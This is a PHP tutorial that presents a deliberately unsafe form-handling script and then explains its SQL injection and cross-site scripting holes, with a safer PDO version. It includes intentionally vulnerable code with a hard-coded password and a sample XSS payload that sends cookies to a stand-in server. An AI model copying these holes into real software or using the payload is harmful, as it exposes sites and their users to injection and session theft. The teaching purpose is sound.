An Unsafe Version of the PHP Example

This is an unsafe version of the Model PHP Script example. It is more useful for learning PHP. An explanation follows, about what it does, and why it’s unsafe.

<?php

/* 
 * Sample PHP form and database example.
 * This is an *unsafe* example, based on the safe example.
 */

// 1. config variables
$dbhost = 'localhost';
$dbuser = 'mysite';
$dbpass = '12JNdie8Ds3';
$dbname = 'mysite';

// 2. get the value from the form
$x = $_POST['x'];

// 3. test that there's a value. if not, show the form.
if ($x=="" or $x < 0 or $x > 6000) {
    include("example-form.html");
    exit();
}

// 4. connect
$db = mysql_connect( $dbhost, $dbuser, $dbpass ) or die("can't connect");

mysql_select_db( $dbname ) or die("can't use that database");

// 5. build the query
$sql = "INSERT INTO table (`x`) VALUES ($x)";

// 6. execute and test
$result = mysql_query( $sql );

if (! $result) {
    die("query failed");
}

// 7. show thank-you page
?>
<html>
 <head><title>Thank You</title></head>
 <body>
  We stored the value <?php echo $x; ?>
 </body>
</html>

This example is a lot simpler to follow, and shows how to read data from a form, and save it to a database.

Section 1 is the configuration information.

Section 2 is where you extract the data from the form.

Section 3 is data validation – you test that the data is there, and if not, show the form.

Section 4 connects to the database

Section 5 is where you build up the query. (This is a security hole.)

Section 6 is a test to see if the query succeeded.

Section 7 loads the thank-you page.

We’re using include() to bring in the form page. I haven’t coded it up, but it’s just a plain-old html page with a form with one field, “x” on it.

This is only for learning

If you want to learn PHP, this is a reasonable model. Just copy it and make it work for your own forms. Use it to test out the interactions on your pages. However, you should not deploy those forms online, or get into the habit of writing PHP code like this, because it’s not secure.

I speak from experience, getting hacked.

It’s also a little unfriendly to the user to use die(), because it just stops everything.

Description of the main security problems

The following is a long section describing the security problems of the above code. You can ignore it until you understand how the above code works. You shouldn’t ignore it before deploying code onto a server, because if you’re deploying code that looks like the above, you’re going to be causing security problems. Eventually, these problems will come back to you.

Section 1 should be moved into a config file. This is a file named config.php that is include()ed in every script on the page. It’s not a security hole per-se, but putting your config info in every page is annoying.

Section 2 and 3 need to all be all together in one area, and the main tool to validate input in PHP is filter_var(). There are some alternatives to filter_var() that seem nicer, but I think it’s best to stick with what is offered, even if it’s not perfect, because when another programmer reads the code, they can look up filter_var() on the web, and understand your intent.

filter_var() takes care of setting defaults, testing ranges, testing formats, and a whole lot of other features. Though using it seems to require more lines of code – the features you get are considerable, and would take even more than the four or five lines of code per call to filter_var().

The security risk here is that, if you don’t write in a consistent language to describe what you want to allow into your script, you’re not going to easily read the errors in your logic. Someone else reading your code won’t see it either.

Sections 5 and 6 use the old mysql_* functions. These are deprecated, and have been replaced with mysqli_* functions. So that’s one problem right away. Above and beyond that, the recommended way to use databases is PDO, the PHP Data Objects interface to databases. PDO adds a number of important security-enhancing features to SQL queries.

There are also a lot of database abstraction layers that are offered in frameworks, and many existing scripts come with their own. Some are simpler, others are more elaborate (like Doctrine), and most either predate PDO or are contemporary with it. My feeling is that PDO is preferable to the less feature-rich and older abstraction layers, because PDO is well documented and has features to insert variable values into SQL queries. It also “feels” like Perl’s DBI and Microsoft’s ADO, so it’s easy to learn if you know one of the other systems.

More elaborate object-relational-mapping libraries like Doctrine are going to be a project-level requirement, and there’s no way to *not* use them if it’s required. In this situation, it’s critical that writing and reading the code be easy and consistent.

The main security problem is that the code above can be hacked with SQL injection attacks. An SQL injection attack is a specially crafted input that causes the resulting SQL to do something other than what’s expected.

A couple articles on this site about SQL injection: SQL Injection Attacks, A quick fix…

Wikipedia had a good page about it: SQL injection.

Sections 7 shows the thank-you page. The security hole is: echo $x;

The main risk of displaying output, which the thank-you page does, is Cross Site Scripting (XSS). XSS just means that the user provides some input that will get displayed in the browser, and if it’s crafted to include HTML and Javascript code, it can do something to the user’s computer (or to your server, by causing the thank-you page to execute javascript that attacks your server!).

Imagine if you submitted the value <script>document.write(“<img src=’http://someserver/stealdata.php?cookie=” + document.cookie + “‘>”);</script>

That’s a bit of code that takes the cookies from your application, and sends it to http://someserver. The attacker’s goal is to get it displayed on a page on your website – and if you display any input that’s provided by the user, that’s a potential attack target.

To avoid this hazard, everything that’s output to the page must be wrapped in a call to htmlspecialchars(). (It’s more complex than that – but escaping all the output is necessary, and htmlspecialchars() works in typical situations.) See the good example.

Handling errors

die() or { print “error message”; exit() } is not a good way to handle errors. While it’s easy for the programmer, it’s not easy on the user. Many users don’t know they should click the “back” button when they get such an error.

All of the big frameworks have a way to collect errors and warnings, and then display them on the next page that’s loaded. Simple scripts should try to do the same – gather up errors,and then display them in a list, in red, or as error messages interspersed in a form.

In the good example script, we do a rudimentary type of error-message gathering and display.

Exception handling

Exception handling is a style of programming that simplifies handling errors. In the above code, we test for an error value from mysql_query. This is now considered bad programming form – even though it’s use is still pretty widespread.

The main problem with testing for errors is that it’s totally easy to forget to do it. The following two blocks of code work exactly the same, if there’s no error:

// version 1
    $result = mysql_query( $sql );

    if (! $result) {
        die("query failed");
    }
// version 2
    mysql_query( $sql );

Because the second version is so much shorter, and easier to type, programmers are prone to use it instead of the first, correct version.

The problem is, when the error happens with the second version, the code will fall through to the next statement, which is the “thank you” page. The user will never know there was an error… because the programmer never tested for it.

In the better version of this script, the code looks like this:

try {
    $db = new PDO("mysql:host=$dbhost;dbname=$dbname;charset=utf8", $dbuser, $dbpass);
    $stmt = $db->prepare("INSERT INTO table (`x`) VALUES (?)");
    $stmt->execute(array($x));
} catch(PDOException $e) {
    $errors[] = $e->getMessage();
}

Those 8 lines of code replace 7 lines of code in the unsafe example. So it’s a tiny bit more code, but you get benefits.

This code uses exception handling. An “exception” is an “error”, so it can be considered “error handling”, but we use different terminology to avoid confusion.

The try { } catch { } structure will catch all the exceptions on all three lines of code in the “try” block. Any exception within the “try” block will cause the code to jump to the “catch” block.

The jargon for causing an exception is to “throw” an exception. If code throws an exception, you can catch it and handle it in the try block.

Notice that we don’t do “or die();” anywhere, so we don’t cause the code to just exit with an error message. Another benefit.

One problem about exception handling is that the code you’re calling must throw exceptions. Not all libraries do. The old libraries still return error values, and need to be tested for error values. New, object oriented libraries like PDO throw exceptions, and I think that’s a compelling reason to use PDO instead of mysqli_* function.

Attachment Size
example-unsafe.php_.txt 823 bytes